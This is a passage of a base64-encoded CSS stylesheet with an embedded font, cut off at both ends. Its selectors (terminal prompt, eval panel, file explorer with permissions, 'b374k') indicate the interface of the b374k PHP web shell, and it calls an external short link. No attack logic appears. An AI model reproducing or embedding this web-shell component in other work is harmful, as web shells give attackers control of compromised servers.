paUlDRlJNQWp5VVB1eWt3TDhuMm9rV0k3cVJ4aWFKOUFIK1ZhcEVMaVFHYkRPWU9LTGZxejI0djlheEZLT1QydUxGdnl6OEdjWXZDYytLMjJZcVk0WW03MmgrNktlbExiTVl6K0xuNzcwN0hsdms0anZtUGQ0VStXVGNXNTRqenArY2R2Qk9MNTdrUlpQMzl6ZUR0cUZGMEY4aGhLSm9Dby9pendWMi9IVTBnNjVEQjlCUEFVN3RuUXUxZmQ1dG5mSHhvZHYyaFZEODd1M2xHMjljZHZUWjdaR3dUSkFmWHpPcC9oc1BCeEU0d2Y3cW5oUU9KbVF3N3pJbGJHYngrQnlHbzhHSm9oc3dmc0c0bVM3R3h0czBxRWFxZENhTm1tTW0yWklDcFNVNXU4K2N3OEE5bmlSeDhqZ1NqU1R4NTdMZHhWcHRjVFNiSFlXd20xMzlQQy9MUExsK0x4WUpSL1I0TEV6b281cXNxMVpZa3ZpaUxtczdzb05zbWRFa1dWR3dvS1dTbWlMTGlwWk1hUUpXRkZuU21ESTdhTWIwU0RnY2l4TWF3VC9zL3dMeWhaTE14MlU1enNzL0Z5WmZFSW1FalZnODlINDl4N3RDUVk4bFZMN3F1SHh1ZnkyRGpiSVVqc2FWa0pDTGZqS2FFMEpLUEJvbUMwbWNxZjFPSkJ5UEdhUndISjlBMFV0dlhmb2hrNkJuWnc2Z0xscEFONklQb0o5R0NQZk9pQXpHd2Q2NXVzRTVadjRaa2YxSCt2Y2ZSajIrenZXazJpY25KZnJpVEdJejhYZlBDcTZoV3dzVCtXWkdjZ3pYL0ZKVWNSTGxYS2VSTUk2QVpxQXlxQ1ZYRTF2bjU3ZkM5WldJNHVpNm8wU2pmaGpKR3FxcTY2cHFmSGJ0ekhIOGtjWkVJbE5RN0NGSkhqUnJVM0MrcEYyVGxKb2JWY1JZU3JQVHZKUjlrcytrSlMzUGllbE5OKzNkZTlQTmUvZmViRGZ6dXA1djJrNER3a1phTmsxWk1jM1ZENjJkWVM1ZEFsQ3QzMlJlQnY5WTZ0K1JRQ1pLb1J3cW9pcXFvMkhVUWVQUjAxNnVBNjdZYll1UU9rZklJSkFxcEZXQUZBTmtsd0lGZlNHUlBLUzZ3SlNGcEhNa2tvR2tOTVdEVEZWU1k2bkYxRjJwajZjaXM5RVVqa1djaWpQbUxEcDNPUjkzU0lwRFVoTEpSQ1Z4VnlJVTBaSmFSYnRMQzgzR3dqZ1d3bk14YkdNbWhtekVMRVFyT0ZyRzBRS081bkVzaDJQcGgyTGJZdVk5SmhQVDc5R1ppRFFtM1NXeEVYRk12RXRrWS93a3o4UzRTWTZaZmFwMXFzWGMwenJVZXJURnRyeTR0QlJ2NGRid2tkSHBwZUZIYXNkcnpHMjFEOWVZYTJ0NHJvWnJaL0VSNzdwYWZlbXAycWthYzAvdFVPM1JHbHVEejlRK0U5dFdLOEdISGlrZEx6RzNsVDVjWXE0dDRXWnByc1NJcFV5SnVWakNUNVZPbFpoN1NvZEtqNWJZRXYyaUVpNFJJNmtqWG94OExrcWNyYnB0dUJQRXhKTFpycmJIMjJ5N2ZuWVZlWWxHYTZsVngyNGQ0N3BhWjk2dFkxUmZZMVRxYm4ya3p0YXJoUEVsd2tkQzc2WGFFQWtKd3lWZ3FMclZrU3BiVFFzdWpyRnVZZGc0YmpBeEEwOGZONTR4TGhuc2JRYit2SEhCdUdpd2V3eTgwOEFwQTU4eVBtc3dod3pNR1piQnhJMVlBazhuWkdGZXVGOWdaM2NKeDRWWGhPOExvYXlBZjErNElEQVBDM2luZ0hrQm54SytKVENUd2owQ3c4SDlNTGVmSXpXTXA3L0w0ZVBjS3h5VDVmQUZEai9NNFowY1BzVjlpMk00Ym9KamVBN2VNaE4xY01leGtYbkFaR2FYelNQbTQrWVB6TkE3NXJzbTg0Y20zbTFpWXBwa01tZE12R0srWURKUjB6U1p1SW5rRWZtQXpNNGVrVDhqdnkyenFyd2dNKy9JK0tEOG5NeUU1QzB5OHcxdlRzYlB5L2d1R1VmbGNabmhaUlFmaVRPemo4ZS9FR2Z5Y2Z4dUhCK040L2ZGOFgrTjR6Tnh2QmpIWmh6SFVXank3MW5NUmhRNzU3K2JhNVp5aGFIdVJCZGV4WFJyZXVrRFhleDFsN3RNdnR2cU1rb1g0eTUrcC90dWwvbkQ3aGU3WCsreXY5Nzk3UzV6dEl2djZEN1laZDdYeFp1N0dQMy93QVc1YVpLMjFPbGk4akczeTNCZHpIWkpKMEZlMHNvc25TbThXdmpyQXZ0Q0FSZHU3dURPbTBONDZDejJQTUd0TE8wWTJqUEV6TkFFNUtYTjlOS3BvYzhPZldXSUhUcWlKSlp1SGNMYnlDTXZMaTRONWM0eTZJL2JwTUN0Vm1XVXhGOGFtVjRhUFl1LzhOTFFNSVJIdkU2eHZuUjQ5Qk9qekgyamVPOG8zakdLUjJrZUpJUVdPWm9xMW92VFJiYjRCZDFaS3Q0MGdBZnFleHBuVjQrOFZLb3VrZkFMTDJXTEpMeUVYbkl5RUhvdnFUYUVSenhSVkphaURiTlJiYkR4UmhacTZrVlNqQ3hYd25LcGNvdHJlL2F5ZmNBK1lqOXJSMHdiSXh0UGY4RisyMmIrd01aK0tvdHQxYzdiQzNib0hScy9aMy9SWmo1cTQ0TTJ2c1BHSWJ0a2I3SFo1KzFYN2IrMi81c2R1c3YrdU0xc3RmR1lqYU0yNW0wM2dxTVJQUFBOQ0Q0U3dSK0o0SGNpZUhNRVAwOVRoY2c5NW0rYURHZmlqcGxUaHBWNTVSRWx4Q2w0NXJUeWZZWDVMUVh2VW80cmpLaGc1U3crNEYwYTNMWlQyYXY4bFBKN3l2ZVVNSy9ndjFEd0tlV3pDbU1yQThvOUNrcyt5Q3NVcTNiaGIxaDhuSDJHWlM2eStKOVl2SlBkeXpLZlkvRXBGc2RZbTJWazFqU3dZY1JsYTlqYVplMjM3cmVPVzZldDZQUXIxbGV0NzF2c2l4YmVSZE5ZeWNwYVRZdjlOZXYzcmZQV0JTdTAwL29wNjdERjhsYmRZcjV0L2FQRi9LcDF5dnFLeFc2ejdyR1lDUXNQV0ppek1HL0pVVHozdDFIOC8wWHhRMUY4SVlwM1JQRXBRSkREUXZRdUVVZEYzQkhsUGY3MnhRRTFOSHRFZlZ4OVZuMWJEV0YxUVdYZVVkOVZtZWRVdkZ1OVEyVkM2aGFWdVZOOVhqMmp2dXBOcXFHb2FxcFZsZVZWZXZEV3d0dk1EeGptZHhpOHpPQUZCdjhoZzMrYndZZyt3Z2VZbjJISTMya09jM0hpODNMK1lKc2MzLzdBL2djZU9FaitpUC8vYmNUd2wveEJmUDQ4dWZFVGVzL2c3NEUxWmpqQ3JRT0p3UWNnRGpkMS8vRytkWituY2NvQWZ3RVAvWloyblR6eU5kWG55YzBEYllLNEJUd2tBVVRpZXFlK2J4OU5xajlBbnBONGV6OGNPMStIb2dlNXdWOGRLMitRaFZUOUxVSU92bmErM2U2VkZncS8vZ1krUnVKS3I1VDl4WVM3Z1BYS2U4Sy9ueVMxb2JpRTdJZlBRRVE1dnc4Q3d1Z1hwVjJITWtPMDdhZTNSbEJRZjNVL3hDUUkvZ2YvcnR4eUl1SWpTeTdjelJ0d3diMFJoT3lQZWNZY3ptUXlxNmZ4Nk9wcjVEcWRvZVRwZERwTjBycXJmMEd1RnpNK3VROFBybjV6OVdXZ0RORnZYdnhRSmtqTGtReitDaUo0NTA5a1Flai9BUGRjSEpVQUFIZ0JZMkJrQUlJelo2SU0rTy9GODl0OFpaQm5mZ0VTT2JXNmhBOUcvNC8rSDhZMGs5a095T1ZnWUFLSkFnQ01qUTA5QUFCNEFXTmdaR0JndHZzZkJpUmYvSS8rSDgwMEV5aUNDbGdBajgwRjF3QUFBSGdCVGM4eFN3SmhITWZ4YjdUazRKRFJJR1pXWEhVV1BpakJJOWx3SWVyRDBkRFVjSnh2SUZxeXdhVU0zSVVhY29zYTJ0cHVxSmZSMU56Y0MyaTMzL0FnOHVINzUzZTNQVXQvYkMvL2drSWJQaGhUd2xLZ3doY0RPY1l3WlVKR1YrdE0zeWNFdExGRUhFbkdpQVpHOVFuSllURXFGVU9OUlB0VWU0c21aV0xWbEgzcTVQV3ZxR3Q1b01lUWtCWGVhT0ZvRUVxa0hGYnBVdFVOVVZ6UkpxTERKbXVVQ1lnNTUxdDNGL2lrUVkwOTh2clRZY0FPUXlLcVRMUnVHV0c0NDU1M0hCdGtQR3NuWEZCZ2xYWDY1QmFVTUtSZTRoWFFHK1o2cXU3bGlYRzBGbFQ4S3dUck5YR0VjMFoxdkFDbkxDVXFqSG5obWk0dzVVa09PWkFiSG5tbHlDV0JibXYyTTB2L0FTOVpQZG9BQUFBQUtnQXFBQ29BS2dCbUFKSUJHQUcrQWtZRE1BTlVBN1FFQWdSbUJJd0V2QVRRQk80RkRnWEtCZ29HbEFkV0I3SUlSQWpzQ1JvS0FncVlDcTRLdWdzRUN5b0xkZ3Z3REtZTlFBM09EbHdPcmc3ZUR3b1BsQS9FRC9BUU9CQ1FFTEFSV2hHZ0VoNFNkQk1ZRTRnVVBCUmVGS3dVOGhZR0ZtUVdxaGJtRndRWEloZEFGM1FYaUJlaUdDUVltQmpzR1ZJWjdocENHdVliT2h1T0c5d2NOaHgrSE53ZExCMm9IaGdlaUI2MEgySWZzQi8rSUZvaFBpR2VJbFlpbGlNR0l4NGpqaVBtSStZa0lDU0dKTzRsV0NYQUplSW04aWNxS0F3b2pDakVLTndvNUNvQUtoUXFZaXFXS3pvcjlpd1FMRm9zaml5WUxPQXRFaTFnTFpZdC9pNmlMNFF3QWpBWU1DNHdSREJhTUg0eEVqRnNNbG95Y2pLSU1xQXl1akxRTXVZeS9ETVlNNEF6bGpPc004SXoyRFB1TkFnME9EVTJOVTQxWkRWNk5aUTFxallRTndJM0ZqY3FOejQzVWpkcU40QTRTRGpnT1BZNUNqa2VPVFk1VERsaU9YZzVranBNT21JNmRqcUtPcDQ2c2pyS093bzdvanU0Tzh3NzREdjRQQXc4aER5Y1BOUTlUajMyUGpRK2VEN0FQdFErNkQ4WVAwWS9kai9LUUJ4QWJrQ1dRTUJBNGtFQVFWNUI4RUg0UXJoRFVFZVFBQUFBQVFBQUFOb0FiZ0FPQUUwQUJBQUNBQkFBTHdCWkFBQUZwd2V2QUFJQUFYZ0JMTVkvU2dOUkZNWGgzN24zSlpQaERma3p5Q0JUQklzc3dRV2tkUXZpR3V3c0JjRWRpQzdBMmlYWWlyaUtWRllXVm1KaDVVRE9WMzNBVnRlSW93c2VmVkg1OVlOR3ZaK2M2Y292VkQzNU16cTkrbk42ZmZzTis3ajNGNnppMDI5WjVZbGZHZlBTNzZhLytHdHFIdndOVGY3NVBiV01KQ290OEFDK0dEajR3VkxoSjN1TmZtSFFyVC9qVk0vK25KMCsvSWE3a0w5Z0cyOStPLzNIcjV6bnp1K20zL2hyaG56M055enp5KzhaU3ZEZktoV3RSZzdEd1BrVS9VQ2RiSjlLWC9mbzArN0xRZnZ1eHFvVG10aUxvN0QwNzI5d2R5RUV3dDFCRVlpUlI1cUppSTdJdU9BTEJRTWllaGdFajJoeFlBaFpqOFNPUkxZakhpRTR3UkRnaUlqcnU1S2ZtUU1FQzNFZ0xzU0dua2p3aXZmNmJzeUNGK1NLVjlNMUN4MGRuWEhNbDY4eXhON2tzVDBjNU9oVFRrUG5SemxaY0NLbm9kTTBhNUFsQlMxaXZjcnIrNUpza1plYzdKdnVWQTZ1eGNiNVhKMHpjT3MvNThUaU54U1IvQWlQd2xMak12cXlOeXViZnNGYjNYYkdVRHNFTFJ5ZW1OY3VjbE9WTnkzemtKTzA3dW5mUG05ZmZsL3FMdlN3M2UxYm1McjVZV2ROVHhSMmZqd2xvSkNhSTk5bkdCR3JPbUZFbmtneDFjNVA4b0tNajcrYzBYMWJuOExxVi91aVVqUU9zMm5SSUZaODBNbVh6MW55eCtZaWdGOVYwcXFCNEF6UGlIY0wwbjYwbk9Uc2ZSUU8vSDkvRDJOYzhJeUdjYTNoRUZZcTAwM0RvVU5tMVhESTdQTGNOTmZyMVlVcU9GSFBkWGxxZmw3d3grOThNL3NINHFnTEgzZ0JYTUZEWWdNQkFBREEyYTJ0clczYnR0M0cva3crbWM4azk4d0lnV3BaaEVDOUNnS2hCbzJhTkd2UnFrMjdEcDI2ZE92UnEwKy9BWkZCUTRhTkdEVm0zSVJKVTZiTm1EVm4zb0pGUzVhdFdMVm0zWVpOVzdidDJMVm4zNEZEUjQ2ZE9IWG0zSVZMVjY3ZHVIWG4zb05IVDU2OWVQWG0zWWRQWDc3OStQWG5YMHhjUWxKS1drWldUbDVCVWFsR0VGejBBZ0FHQUFCOW4veWR1cnViYWNhWWpSTlRGemFkTTNIQWRFM2JPT3Zwcy9mRWhRZ2pHalJhMCt0UmswN3QrbzBaRFpIYTNLblg0OHUzRG4xYWJIcndhY0M0WHovK0RKdXdaOGVrZUFtNkpEcVFaTmUrRTRlT0hIdVM3TnlwTTFOU2ZPaDI1Y0tsVkMvZXRFcVhKa09XVE5rRzVjaVRLMStCSW9XS2xYaFdxbHlaQ2xVcUxSdFNvMXF0T3EvZXJiZzJiY2FOZTdkbXpWbTBaTXU4QmR1YXJkdXdHcUpDZElnSnNlRi9ISXljN0tWNW1RWUdqZ1pRMm9VbkxiKzBxTGkwSUxVb003K0l4YlcwS0I4a1kyUmthQXFpWFEzYzNNQzBtNXNMaUhZek1EQUFBRkhFY3J0NEFUV016MHJ6UUJURlo3N3dGUmRGUmFHSUVJS0ttMmJUUjRnZERMRkJhSnRlYlJwak8yclVmWW9ZRUtxV1N2M1ROb29pS0tMUUIrZ1VOOEdOdm9HdjRNN0gwRnRxTDVkN3pwemZZYlR4NTI2diswOTdtcDNUSDRPa0V2MThhUEdIK0pSK0h4aktuVDhNQ3JjWTNQalR5clZ2S0Ixc3RSRmVJYnpFOXducVJUMnBuSjhaU2hOWkExa2R1NmVZMTVBZm9oNWgzZ3ZlZzg5QTBnSmxRVC9BN0kxU3dpalI1bUdmN2NFdTgyQ0hjZGhtRmRoaVpkaGtMbXd3QjByTUJoRmhMVU1uUE55YTEvR2tGS2VUUE1VclBPU0NmL0ZZcjB5SlMxTnV4UTFkcWNqV1lKMEJXT0VxNUVNVGNtRUdzdUVLNkU0YWxwMGxLRmo0M1d1Qy9xY1JEYzFJK3M2YllpenJDTm9VaTliZ2FybVNpRFVGZ1pKVDdGUGF0aHV0RmtuTHBwQ3RvbmlSYlZNWWFMU0JPVVpENUg2Q3BHMVZKZXJmK0ZVZnQrcXJvNkhJL0lHTVN1alE0RVVkOHVyTUx6SlplMGNBKSBmb3JtYXQoJ3dvZmYnKTsKCWZvbnQtd2VpZ2h0OiBub3JtYWw7Cglmb250LXN0eWxlOiBub3JtYWw7Cn0KKnsKCWZvbnQtZmFtaWx5OnVidW50dW1vbm87CgltYXJnaW46MDsKCXBhZGRpbmc6MDsKCWJvcmRlcjowOwoJLXdlYmtpdC1ib3gtc2l6aW5nOmJvcmRlci1ib3g7CgktbW96LWJveC1zaXppbmc6Ym9yZGVyLWJveDsKCWJveC1zaXppbmc6Ym9yZGVyLWJveDsKCWZvbnQtc2l6ZToxMnB4OwoJZm9udC13ZWlnaHQ6bm9ybWFsOwp9CmlucHV0OmZvY3VzLCBzZWxlY3Q6Zm9jdXMsIHRleHRhcmVhOmZvY3VzLCBidXR0b246Zm9jdXN7CglvdXRsaW5lOm5vbmU7Cn0KaHRtbCwgYm9keXsKCXdpZHRoOjEwMCU7CgloZWlnaHQ6MTAwJTsKCWNvbG9yOiMyMjIyMjI7Cn0KYm9keXsKCWJhY2tncm91bmQ6I2YwZjBmMDsKCWxpbmUtaGVpZ2h0OjE3cHg7Cn0KYXsKCXRleHQtZGVjb3JhdGlvbjpub25lOwoJY29sb3I6IzAwMDAwMDsKfQphOmhvdmVyewoJY3Vyc29yOnBvaW50ZXI7Cn0KcHsKCXBhZGRpbmc6OHB4IDA7Cn0KaW1newoJdmVydGljYWwtYWxpZ246bWlkZGxlOwp9CnRhYmxlewoJd2lkdGg6MTAwJTsKfQp0YWJsZSB0ZCwgdGFibGUgdGh7Cgl2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7CglwYWRkaW5nOjhweDsKfQp0ZXh0YXJlYSwgaW5wdXQsIHNlbGVjdHsKCWJhY2tncm91bmQ6I2ZmZmZmZjsKCXBhZGRpbmc6OHB4OwoJYm9yZGVyLXJhZGl1czo4cHg7Cgljb2xvcjojMTExMTExOwoJYm9yZGVyOjFweCBzb2xpZCAjZGRkZGRkOwp9CnRleHRhcmVhewoJcmVzaXplOnZlcnRpY2FsOwoJd2lkdGg6MTAwJTsKCWhlaWdodDozMDBweDsKCW1pbi1oZWlnaHQ6MzAwcHg7CgltYXgtd2lkdGg6MTAwJTsKCW1pbi13aWR0aDoxMDAlOwp9CmhyewoJbWFyZ2luOjhweCAwOwoJYm9yZGVyLWJvdHRvbToxcHggZGFzaGVkICNkZGRkZGQ7Cn0KdmlkZW97Cgl3aWR0aDoxMDAlOwoJYmFja2dyb3VuZDojMjIyMjIyOwoJYm9yZGVyLXJhZGl1czo4cHg7Cn0KaDEsIGgyewoJYmFja2dyb3VuZDojRTdFN0U3OwoJYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICNjY2NjY2M7Cgljb2xvcjojMDAwMDAwOwoJYm9yZGVyLXJhZGl1czo4cHg7Cgl0ZXh0LWFsaWduOmNlbnRlcjsKCWN1cnNvcjpwb2ludGVyOwoJcGFkZGluZzo4cHg7CgltYXJnaW4tYm90dG9tOjhweDsKfQpoMSBhLCBoMiBhewoJY29sb3I6IzAwMDAwMDsKfQpwcmUsICN2aWV3RmlsZWNvbnRlbnR7Cgl3b3JkLWJyZWFrOmJyZWFrLWFsbDsKCXdvcmQtd3JhcDpicmVhay13b3JkOwp9CnByZXsKCXdoaXRlLXNwYWNlOnByZS13cmFwOwp9CiNiMzc0a3sKCWN1cnNvcjpwb2ludGVyOwp9CiNoZWFkZXJ7Cgl3aWR0aDoxMDAlOwoJcG9zaXRpb246Zml4ZWQ7Cn0KI2hlYWRlck5hdnsKCXBhZGRpbmc6MTBweCA4cHggNnB4IDhweDsKCWJhY2tncm91bmQ6IzMzMzMzMzsKfQojaGVhZGVyTmF2IGltZ3sKCW1hcmdpbjowIDRweDsKfQojaGVhZGVyTmF2IGF7Cgljb2xvcjojZWZlZmVmOwp9CiNtZW51ewoJYmFja2dyb3VuZDojN0M5NEE4OwoJaGVpZ2h0OjMzcHg7Cglib3JkZXItYm90dG9tOjNweCBzb2xpZCAjQ0NDRkQxOwp9CiNtZW51IC5tZW51aXRlbXsKCXBhZGRpbmc6N3B4IDEycHggNnB4IDEycHg7CglmbG9hdDpsZWZ0OwoJaGVpZ2h0OjMwcHg7CgliYWNrZ3JvdW5kOiM3Qzk0QTg7Cgljb2xvcjojZmZmZmZmOwoJY3Vyc29yOnBvaW50ZXI7Cn0KI21lbnUgLm1lbnVpdGVtOmhvdmVyLCAjbWVudSAubWVudWl0ZW1TZWxlY3RlZHsKCWJhY2tncm91bmQ6Izc2ODk5OTsKCWNvbG9yOiNmZmZmZmY7Cn0KI21lbnUgLm1lbnVpdGVtU2VsZWN0ZWR7CgliYWNrZ3JvdW5kOiM3Njg5OTk7Cn0KI2Jhc2ljSW5mb3sKCXdpZHRoOjEwMCU7CglwYWRkaW5nOjhweDsKCWJvcmRlci1ib3R0b206MXB4IGRhc2hlZCAjZGRkZGRkOwp9CiNjb250ZW50ewoJYmFja2dyb3VuZDojZjBmMGYwOwoJaGVpZ2h0OjEwMCU7CglwYWRkaW5nOjY2cHggOHB4IDhweCA4cHg7Cn0KI2NvbnRlbnQgLm1lbnVjb250ZW50ewoJYmFja2dyb3VuZDojZjBmMGYwOwoJY2xlYXI6Ym90aDsKCWRpc3BsYXk6bm9uZTsKCXBhZGRpbmc6OHB4OwoJb3ZlcmZsb3cteDphdXRvOwoJb3ZlcmZsb3cteTpoaWRkZW47Cn0KI292ZXJsYXl7Cglwb3NpdGlvbjpmaXhlZDsKCXRvcDowcHg7CglsZWZ0OjBweDsKCXdpZHRoOjEwMCU7CgloZWlnaHQ6MTAwJTsKCWRpc3BsYXk6bm9uZTsKfQojbG9hZGluZ3sKCXdpZHRoOjY0cHg7CgloZWlnaHQ6NjRweDsKCWJhY2tncm91bmQ6IzdDOTRBODsKCWJvcmRlci1yYWRpdXM6MzJweCAwIDMycHggMDsKCW1hcmdpbjphdXRvOwoJdmVydGljYWwtYWxpZ246bWlkZGxlOwp9CiN1bERyYWdORHJvcHsKCXBhZGRpbmc6MzJweCAwOwoJdGV4dC1hbGlnbjpjZW50ZXI7CgliYWNrZ3JvdW5kOiM3Qzk0QTg7Cglib3JkZXItcmFkaXVzOjhweDsKCWNvbG9yOiNlYmViZWI7Cn0KI2Zvcm17CglkaXNwbGF5Om5vbmU7Cn0KI2RldlRpdGxlewoJYmFja2dyb3VuZDojZWJlYmViOwp9Ci5ib3h7CgltaW4td2lkdGg6NTAlOwoJYm9yZGVyOjFweCBzb2xpZCAjZGRkZGRkOwoJcGFkZGluZzo4cHggOHB4IDAgOHB4OwoJYm9yZGVyLXJhZGl1czo4cHg7Cglwb3NpdGlvbjpmaXhlZDsKCWJhY2tncm91bmQ6I2ViZWJlYjsKCW9wYWNpdHk6MTsKCWJveC1zaGFkb3c6MXB4IDFweCAyNXB4ICMxNTBmMGY7CglvcGFjaXR5OjAuOTg7Cn0KLmJveHRpdGxlewoJYmFja2dyb3VuZDojZGRkZGRkOwoJYm9yZGVyOiAxcHggc29saWQgI2NjY2NjYzsKCWNvbG9yOiMwMDAwMDA7Cglib3JkZXItcmFkaXVzOjhweDsKCXRleHQtYWxpZ246Y2VudGVyOwoJY3Vyc29yOnBvaW50ZXI7Cn0KLmJveHRpdGxlIGEsIC5ib3h0aXRsZSBhOmhvdmVyewoJY29sb3I6IzAwMDAwMDsKfQouYm94Y29udGVudHsKCXBhZGRpbmc6MnB4IDAgMnB4IDA7Cn0KLmJveHJlc3VsdHsKCXBhZGRpbmc6NHB4IDEwcHggNnB4IDEwcHg7Cglib3JkZXItdG9wOjFweCBzb2xpZCAjZGRkZGRkOwoJbWFyZ2luLXRvcDo0cHg7Cgl0ZXh0LWFsaWduOmNlbnRlcjsKfQouYm94dGJsewoJYm9yZGVyOjFweCBzb2xpZCAjZGRkZGRkOwoJYm9yZGVyLXJhZGl1czo4cHg7CglwYWRkaW5nLWJvdHRvbTo4cHg7CgliYWNrZ3JvdW5kOiNlYmViZWI7Cn0KLmJveHRibCB0ZHsKCXZlcnRpY2FsLWFsaWduOm1pZGRsZTsKCXBhZGRpbmc6OHB4IDE1cHg7Cglib3JkZXItYm90dG9tOjFweCBkYXNoZWQgI2RkZGRkZDsKfQouYm94dGJsIGlucHV0LCAuYm94dGJsIHNlbGVjdCwgLmJveHRibCAuYnV0dG9uewoJd2lkdGg6MTAwJTsKfQouYm94bGFiZWx7Cgl0ZXh0LWFsaWduOiBjZW50ZXI7Cglib3JkZXItYm90dG9tOjFweCBzb2xpZCAjZGRkZGRkOwoJcGFkZGluZy1ib3R0b206OHB4Owp9Ci5ib3hjbG9zZXsKCWJhY2tncm91bmQ6IzIyMjIyMiB1cmwoaHR0cDovL3QuY24vUjJBMExINCk7Cglib3JkZXItcmFkaXVzOjNweDsKCW1hcmdpbi1yaWdodDo4cHg7CgltYXJnaW4tdG9wOi0zcHg7CglwYWRkaW5nOjJweCA4cHg7CgljdXJzb3I6cG9pbnRlcjsKCWNvbG9yOiNmZmZmZmY7Cn0KLnN0cm9uZ3sKCWNvbG9yOiM3Qzk0QTg7Cgl0ZXh0LXNoYWRvdzowcHggMHB4IDFweCAjQzBEQ0Y1Owp9Ci53ZWFrewoJY29sb3I6IzY2NjY2NjsKfQouYnV0dG9uewoJbWluLXdpZHRoOjEyMHB4OwoJd2lkdGg6MTIwcHg7CgltYXJnaW46MnB4OwoJY29sb3I6I2ZmZmZmZjsKCWJhY2tncm91bmQ6IzdDOTRBODsKCWJvcmRlcjpub25lOwoJcGFkZGluZzo4cHg7Cglib3JkZXItcmFkaXVzOjhweDsKCWRpc3BsYXk6YmxvY2s7Cgl0ZXh0LWFsaWduOmNlbnRlcjsKCWZsb2F0OmxlZnQ7CgljdXJzb3I6cG9pbnRlcjsKfQouYnV0dG9uOmhvdmVyLCAjdWxEcmFnTkRyb3A6aG92ZXJ7CgliYWNrZ3JvdW5kOiM3Njg5OTk7Cn0KLmZsb2F0TGVmdHsKCWZsb2F0OmxlZnQ7Cn0KLmZsb2F0UmlnaHR7CglmbG9hdDpyaWdodDsKfQouY29sRml0ewoJd2lkdGg6MXB4OwogICAgd2hpdGUtc3BhY2U6bm93cmFwOwp9Ci5jb2xTcGFuewoJd2lkdGg6MTAwJTsKfQouYm9yZGVyewoJYm9yZGVyOjFweCBzb2xpZCAjZGRkZGRkOwoJYmFja2dyb3VuZDojZWJlYmViOwoJYm9yZGVyLXJhZGl1czo4cHg7CglwYWRkaW5nOjhweDsKfQouYm9yZGVyYm90dG9tewoJYm9yZGVyLWJvdHRvbToxcHggZGFzaGVkICNkZGRkZGQ7Cn0KLmJvcmRlcnJpZ2h0ewoJYm9yZGVyLXJpZ2h0OjFweCBkYXNoZWQgI2RkZGRkZDsKfQouYm9yZGVybGVmdHsKCWJvcmRlci1sZWZ0OjFweCBkYXNoZWQgI2RkZGRkZDsKfQouaHIgdGR7Cglib3JkZXItYm90dG9tOjFweCBkYXNoZWQgI2RkZGRkZDsKfQouY0JveCwgLmNCb3hBbGx7Cgl3aWR0aDoxMHB4OwoJaGVpZ2h0OjEwcHg7Cglib3JkZXI6MXB4IHNvbGlkICM3Qzk0QTg7Cglib3JkZXItcmFkaXVzOjVweDsKCW1hcmdpbjphdXRvOwoJZmxvYXQ6bGVmdDsKCW1hcmdpbjozcHggNnB4IDJweCA2cHg7CgljdXJzb3I6cG9pbnRlcjsKfQouY0JveFNlbGVjdGVkewoJYmFja2dyb3VuZDojN0M5NEE4Owp9Ci5hY3Rpb24sIC5hY3Rpb25mb2xkZXIsIC5hY3Rpb25kb3R7CgljdXJzb3I6cG9pbnRlcjsKfQoucGhwRXJyb3J7CglwYWRkaW5nOjhweDsKCW1hcmdpbjo4cHggMDsKCXRleHQtYWxpZ246Y2VudGVyOwp9Ci5kYXRhVmlldyB0ZCwgLmRhdGFWaWV3IHRoLCAjdmlld0ZpbGUgdGR7Cgl2ZXJ0aWNhbC1hbGlnbjp0b3A7Cglib3JkZXItYm90dG9tOjFweCBkYXNoZWQgI2RkZGRkZDsKfQouZGF0YVZpZXcgdGJvZHkgdHI6aG92ZXJ7CgliYWNrZ3JvdW5kOiNlYmViZWI7Cn0KLmRhdGFWaWV3IHRoewoJdmVydGljYWwtYWxpZ246bWlkZGxlOwoJYm9yZGVyLWJvdHRvbTowOwoJYmFja2dyb3VuZDojZTBlMGUwOwp9Ci5kYXRhVmlldyB0Zm9vdCB0ZHsKCXZlcnRpY2FsLWFsaWduOm1pZGRsZTsKfQouZGF0YVZpZXcgLmNvbC1jYm94ewoJdGV4dC1hbGlnbjpjZW50ZXI7Cgl3aWR0aDoyMHB4Owp9Ci5kYXRhVmlldyAuY29sLXNpemV7Cgl3aWR0aDo3MHB4Owp9CiN4cGxUYWJsZSB0cj50ZDpudGgtY2hpbGQoMyl7Cgl0ZXh0LWFsaWduOmxlZnQ7Cn0KI3hwbFRhYmxlIHRyPnRkOm50aC1jaGlsZCg0KSwjeHBsVGFibGUgdHI+dGQ6bnRoLWNoaWxkKDUpLCN4cGxUYWJsZSB0cj50ZDpudGgtY2hpbGQoNil7Cgl0ZXh0LWFsaWduOmNlbnRlcjsKfQouZGF0YVZpZXcgLmNvbC1vd25lcnsKCXdpZHRoOjE0MHB4OwoJbWluLXdpZHRoOjE0MHB4OwoJdGV4dC1hbGlnbjpjZW50ZXI7Cn0KLmRhdGFWaWV3IC5jb2wtcGVybXN7Cgl3aWR0aDo4MHB4OwoJdGV4dC1hbGlnbjpjZW50ZXI7Cn0KLmRhdGFWaWV3IC5jb2wtbW9kaWZpZWR7Cgl3aWR0aDoxNTBweDsKCXRleHQtYWxpZ246Y2VudGVyOwp9Ci5zb3J0YWJsZSB0aHsKCWN1cnNvcjpwb2ludGVyOwp9CiN4cGxUYWJsZSB0ZHsKCXdoaXRlLXNwYWNlOm5vd3JhcDsKfQojdmlld0ZpbGUgdGR7Cgl0ZXh0LWFsaWduOmxlZnQ7Cn0KI3ZpZXdGaWxlY29udGVudHsKCXBhZGRpbmc6OHB4OwoJYm9yZGVyOjFweCBzb2xpZCAjZGRkZGRkOwoJYm9yZGVyLXJhZGl1czo4cHg7Cn0KI3Rlcm1pbmFsUHJvbXB0IHRkewoJcGFkZGluZzowOwp9CiN0ZXJtaW5hbElucHV0ewoJYmFja2dyb3VuZDpub25lOwoJYm9yZGVyOm5vbmU7CglwYWRkaW5nOjA7Cgl3aWR0aDoxMDAlOwp9CiNldmFsQWRkaXRpb25hbHsKCWRpc3BsYXk6bm9uZTsKfQouaGxfZGVmYXVsdHsKCWNvbG9yOiM1MTc3OTc7Cn0KLmhsX2tleXdvcmR7Cgljb2xvcjojMDBCQjAwOwp9Ci5obF9zdHJpbmd7Cgljb2xvcjojMDAwMDAwOwp9Ci5obF9odG1sewoJY29sb3I6I0NFNTQwMzsKfQouaGxfY29tbWVudHsKCWNvbG9yOiM3RjlGN0Y7Cn0KI25hdmlnYXRpb257cG9zaXRpb246Zml4ZWQ7bGVmdDotMTZweDt0b3A6NDYlO3VybChodHRwOi8vdC5jbi9SMkEwTEg0KX0KI3RvdG9wLCN0b2JvdHRvbSwjdG9nZ2xlQmFzaWNJbmZve2JhY2tncm91bmQ6dXJsKCc8P3BocCBlY2hvIGd